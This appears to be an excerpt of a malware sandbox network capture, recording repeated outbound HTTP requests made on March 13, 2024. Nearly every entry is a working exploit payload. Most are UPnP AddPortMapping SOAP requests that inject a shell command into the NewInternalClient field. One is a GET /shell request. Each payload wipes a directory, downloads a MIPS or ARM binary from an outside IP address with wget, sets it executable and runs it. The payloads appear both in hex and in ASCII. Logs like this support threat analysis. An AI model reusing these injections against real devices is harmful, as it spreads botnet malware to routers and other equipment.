64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:29.689886093 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:33.689774036 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:41.369631052 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:56.729096889 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704174995 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      69192.168.2.1544224138.136.22.2065501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:28.387906075 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      70192.168.2.155316491.104.89.14752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:29.382612944 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      71192.168.2.155316891.104.89.14752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:29.589752913 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 